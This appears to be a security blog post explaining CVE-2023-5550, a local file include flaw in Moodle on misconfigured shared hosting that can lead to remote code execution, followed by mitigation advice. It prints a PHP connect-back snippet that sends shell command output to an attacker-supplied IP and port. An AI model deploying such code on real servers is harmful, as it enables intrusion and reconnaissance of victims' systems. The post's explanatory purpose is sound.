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In recent times, a cybersecurity vulnerability has emerged with a significant impact on shared hosting environments (specifically Moodle, an open-source learning management system) with potential for remote code execution. This vulnerability, identified as CVE-2023-5550, can be exploited by a malicious user with direct access to the web server hosting the Moodle application outside its webroot. In essence, an attacker can use local file include (LFI) to execute arbitrary code, potentially compromising the server's security and unauthorized access to sensitive information.

In this post, we will dive deeper into the details of this exploit, a code snippet for added clarity, and links to the original references. Let’s begin by understanding the shared hosting environment's configuration issues that make it vulnerable to the CVE-2023-5550 exploit.

Misconfiguration in Shared Hosting Environment

Moodle, being a widely-used learning management system, is often deployed in a shared hosting environment. This means multiple virtual hosts (domains) share resources and applications on the same server. It becomes crucial for server administrators to configure the environment correctly, ensuring the users' safety and preventing unauthorized access to another user's content or resources.

However, when the server configurations are not set up correctly, it allows room for unfriendly users who can access other users' content or folders. This security vulnerability is commonly referred to as 'cross-user access.'

Exploiting the Vulnerability: Local File Include

With the misconfiguration in place, an attacker with direct server access (for instance, through FTP or SSH connections) can deploy harmful scripts outside the Moodle webroot. Subsequently, they can use a local file include (LFI) technique to execute the script.

LFI is an inclusion attack that allows a user to include a file on the server in the application's output. With proper server configurations, the attacker's reach and executable files are limited. However, given the misconfiguration, it paves the way for the attacker to execute arbitrary code.

Consider the following PHP code snippet as an example of a malicious code

<?php
  $connect_back_ip = $_GET['ip'];
  $connect_back_port = $_GET['port'];
  $sock = fsockopen($connect_back_ip, $connect_back_port);
  fwrite($sock, shell_exec("uname -a; pwd; id; "));
  fclose($sock);
?>

With this code uploaded to the web server at a location outside Moodle's webroot, an attacker can include this file in Moodle's output using a vulnerable PHP script - such as a deprecated plugin - resulting in remote code execution.

Preventive Measures and Recommendations

To mitigate the risk posed by the CVE-2023-5550 vulnerability, it is crucial for server administrators to ensure proper configuration of shared hosting environments. The primary focus should be on preventing cross-user access and establishing access control lists, which prevent unauthorized users from accessing sensitive folders or files.

For Moodle, deploying the latest version and often updating plugins helps minimize the susceptibility to obsolete or vulnerable plugins.

For detailed information about CVE-2023-5550, you can consult the following resources

1. Official vulnerability disclosure: Link
2. Moodle Security Advisory: Link

In conclusion, proper server configurations and following best practices—especially in shared hosting environments—are essential to protect against cybersecurity threats like CVE-2023-5550 and ensure a safe environment for users.

Timeline

Published on: 11/09/2023 20:15:10 UTC
Last modified on: 11/17/2023 16:36:28 UTC